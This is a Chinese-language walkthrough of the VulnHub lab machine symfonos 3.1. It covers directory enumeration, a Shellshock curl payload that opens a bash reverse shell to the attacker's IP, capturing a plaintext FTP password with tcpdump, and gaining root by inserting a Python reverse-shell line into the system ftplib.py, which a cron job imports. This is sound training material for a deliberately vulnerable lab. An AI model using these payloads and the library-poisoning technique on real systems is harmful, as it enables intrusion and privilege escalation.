vulnhub symfonos: 3.1

渗透思路:

nmap扫描----gobuster扫描网站目录----shellshock获得反弹shell----pspy发现定时ftp连接----tcpdump获取用户密码----vi修改python脚本获得root权限反弹shell

环境信息:

靶机:192.168.101.56

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.56

扫描到21端口(ftp)、22端口(ssh)和80端口(http)

2、gobuster扫描网站目录(不小心进入兔子洞)

浏览器访问http://192.168.101.56/,发现只是一张图片

gobuster扫描网站目录,字典用/usr/share/wordlists/dirb/big.txt

​gobuster dir -u http://192.168.101.56/ -w /usr/share/wordlists/dirb/big.txt

扫到一个/gate目录可能有点东西

浏览器访问http://192.168.101.56/gate/,又是一张图

继续gobuster扫描http://192.168.101.56/gate/,换个字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

​gobuster dir -u http://192.168.101.56/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到/cerberus

浏览器访问http://192.168.101.56/gate/cerberus/,又是一张图

继续gobuster扫描,换回原来的字典/usr/share/wordlists/dirb/big.txt

​gobuster dir -u http://192.168.101.56/gate/cerberus/ -w /usr/share/wordlists/dirb/big.txt

扫描到/tartarus

浏览器访问http://192.168.101.56/gate/cerberus/tartarus/,还是一张图,右键查看元素的时候,发现有注释"The underworld can be cruel... but it can also be misleading. ",emmmmm不知道是不是在暗示这里是兔子洞……

继续扫描目录,用字典/usr/share/wordlists/dirb/big.txt

​gobuster dir -u http://192.168.101.56/gate/cerberus/tartarus -w /usr/share/wordlists/dirb/big.txt

这次大丰收,扫到了/research、/hermes和/charon,但其实只有/research可以访问

浏览器访问http://192.168.101.56/gate/cerberus/tartarus/research发现都是文字,也没注释,也没功能,也没啥敏感信息,再往下扫描目录也扫描不出东西了,似乎真是兔子洞……

3、shellshock获得反弹shell

回到最初的起点,一开始扫描http://192.168.101.56/的时候还扫描到了/cgi-bin,接下来扫描一下这个目录,用字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

​gobuster dir -u http://192.168.101.56/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到了/underworld

浏览器访问http://192.168.101.56/cgi-bin/underworld

再访问一次,发现显示的结果有变化,似乎是实时更新的,并且看起来像是命令行的执行结果

在百度中查找users,load average,找到的结果显示浏览器上的显示可能是命令w或者uptime的结果

在攻击机上尝试执行w,发现比浏览器显示多一些行

攻击机上执行uptime,输出结果的格式和浏览器显示是一致的。

既然http://192.168.101.56/cgi-bin/underworld执行系统命令,那它有可能会有shellshock漏洞(参考资料:什么是ShellShock攻击? - 知乎),尝试一下:

攻击机上开两个终端,一个nc监听6666端口

nc -nlvp 6666

另一个输入

​curl -A "() { :;};/bin/bash -i &>/dev/tcp/192.168.101.34/6666 <&1" http://192.168.101.56/cgi-bin/underworld

得到了cerberus的反弹shell

4、利用pspy发现定时ftp连接

在操作系统上找了半天没找到点东西,准备用pspy看看有没有暂时看不到的定时任务

从github上下载pspy:https://github.com/DominicBreuker/pspy

保存到攻击机上,并用python起http服务

python2 -m SimpleHTTPServer 443

靶机上下载pspy到cerberus家目录

​wget http://192.168.101.56:443/pspy64s

并赋予pspy可执行权限

chmod +x pspy64s

执行pspy

./pspy64s

可以看到每2分钟有一次ftp连接,有可能是执行/bin/sh -c /usr/bin/python2.7 /opt/ftpclient/ftpclient.py导致的

可惜的是当前用户没有/opt/ftpclient/ftpclient.py的权限,不能通过修改这个脚本提权了。

不过既然每2分钟有一次ftp连接,并且ftp是明文传输的,那么监听ftp端口就可以获取到ftp用户密码了。

5、tcpdump监听获取hades用户ftp/ssh密码

监听之前需要知道靶机有哪些端口

ip address

查看到有lo和ens33两个端口

由于定时任务是靶机本机上执行的,因此比较有可能是与lo端口(127.0.0.1)进行通讯,所以先用tcpdump监听lo的21号端口

tcpdump -i lo port 21

(备注:这边万一遇到权限问题,可以把靶机删掉重装一下,比如我就遇到这个问题,而上图是重装靶机后截图的,所以和之前的靶机ip不一样)

等待一会儿之后获取到了hades的ftp密码PTpZTfU4vxgzvRBE

幸运的是,hades的ssh密码和ftp密码是一样的~

6、vi修改python脚本获得root权限的反弹shell

hades这儿也是一无所获,想起来之前用pspy检测到的定时任务涉及到一个python脚本/opt/ftpclient/ftpclient.py,当时cerberus没权限,来看看hades有没有权限

hades用户是hades组的,而hades组只有查看该文件的权限。

另外解释一下,虽然上图中看起来任何用户都可以查看/opt/ftpclient/ftpclient.py,但由于除了root用户以及hades组的用户,其他用户对该文件上级目录/opt/ftpclient/没有任何权限,因此对该文件也没有任何权限。

查看一下/opt/ftpclient/ftpclient.py的内容,发现用到了ftplib.FTP

查找一下ftplib

find / -name "*ftplib*" 2>/dev/null

修改/usr/lib/python2.7/ftplib.py的内容

vi /usr/lib/python2.7/ftplib.py

增加python反弹shell

import pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh");

我是直接添加在import模块操作之后的

然后删除/usr/lib/python2.7/ftplib.pyc,不然运行的时候直接调用.pyc文件就不执行.py文件了

rm /usr/lib/python2.7/ftplib.pyc

攻击机上nc监听5555端口

nc -nlvp 5555

然后等着就好了,过最多两分钟反弹shell就带着root权限来了。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值